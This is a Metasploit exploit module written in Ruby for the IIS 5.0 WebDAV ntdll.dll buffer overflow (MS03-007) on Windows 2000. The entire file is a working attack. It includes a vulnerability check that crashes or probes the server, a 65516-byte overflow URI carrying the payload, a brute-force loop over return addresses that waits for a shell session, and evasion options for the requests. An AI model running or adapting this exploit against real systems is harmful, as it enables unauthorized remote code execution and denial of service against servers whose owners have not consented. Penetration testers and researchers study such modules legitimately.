require 'msf/core'

module Msf

class Exploits::Windows::Iis::MS03_007_WEBDAV_NTDLL < Msf::Exploit::Remote

	include Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'IIS 5.0 WebDAV ntdll.dll Overflow',
			'Description'    => %q{
				This exploits a buffer overflow in NTDLL.dll on Windows 2000
				through the SEARCH WebDAV method in IIS. This particular
				module only works against Windows 2000. It should have a
				reasonable chance of success against any service pack.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'OSVDB', '4467'],
					[ 'MSB', 'MS03-007'],
					[ 'CVE', '2003-0109'],
					[ 'MIL', '28'],

				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 512,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					[ 
						'Automatic Brute Force',
						{
							'Platform' => 'win',
						},
					],
				],
			'DisclosureDate' => 'May 30 2003',
			'DefaultTarget' => 0))

		register_evasion_options([
				OptBool.new('invalid_search_request', [false, 'Replace the valid XML search with random data', 'false']),

				# XXX - ugh, there has to be a better way to remove entries from an
				# enum that overwriting the evalable enum option
				OptEnum.new('HTTP::uri_encode', [false, 'Enable URI encoding', 'none', ['none','hex-normal'], 'none'])
			], self.class
		)

		deregister_options('HTTP::junk_params', 'HTTP::header_folding')
	end


	def check
		url = 'x' * 65535
		
		xml =
			"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" +
			"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n"
				
		response = request({ 'uri' => "/#{url}", 'content-type' => 'text/xml', 'method' => 'SEARCH', 'data' => xml}, 5)

		if (response and response.body =~ /Server Error\(exception/)
			return Exploit::CheckCode::Vulnerable	
		end

		# Did the server stop acceping requests?
		begin
			request({ 'uri' => '/'} )
		rescue
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end

	def exploit
		# verify the service is running up front
		request({'uri' => '/'})

		if datastore['HTTP::junk_pipeline'] > 0
			print_status('junk pipelined exploitation requests may not work.  If exploitation fails, try disabling pipelining')
		end
	
		# The targets in the most likely order they will work
		targets =
		[
			# Almost Targetted :)
			"\x4f\x4e", # =SP3
			"\x41\x42", # ~SP0  ~SP2
			"\x41\x43", # ~SP1, ~SP2

			# Generic Bruteforce
			"\x41\xc1",
			"\x41\xc3",
			"\x41\xc9",
			"\x41\xca",
			"\x41\xcb",
			"\x41\xcc",
			"\x41\xcd",
			"\x41\xce",
			"\x41\xcf",
			"\x41\xd0",
		]

		xml =
			"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" +
			"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n"
	
		if datastore['invalid_search_request'] == true
			xml = Rex::Text.rand_text(rand(1024) + 32)
		end

		# XXX - make_nops(65516) would be *so* much nicer, but opty2 is hella
		# fucking slow, and there is no way to say "Don't use nop_generator X"
		url = 'A' * 65516 
		url[ url.length - payload.encoded.length, payload.encoded.length ] = payload.encoded
				
		targets.each { |ret|
			
			print_status("Trying return address 0x%.8x..." % Rex::Text.to_unicode(ret).unpack('V')[0])
			url[ 283, 2 ] = ret
	
			begin
				request({ 'uri' => "/#{url}", 'content-type' => 'text/xml', 'method' => 'SEARCH', 'data' => xml}, nil)
				handler
			rescue => e
				print_error("attempt failed: #{e.to_s}")
			end
			
			1.upto(8) { |i|
				sleep(0.25)
				return if self.session_created?
			}
			
			if !service_running?
				print_error('Giving up, IIS must have completely crashed')
				return
			end
		}
	end

	# Try connecting to the server up to 20 times, with a two second gap
	# This gives the server time to recover after a failed exploit attempt
	def service_running?
		print_status('Checking if IIS is back up after a failed attempt...')
		1.upto(20) {|i|
			begin
				request({'uri' => '/'})
			rescue
				print_status("Connection failed (#{i} of 20)...")
				sleep(2)
				next
			end
			return true
		}
		return false
	end

end
end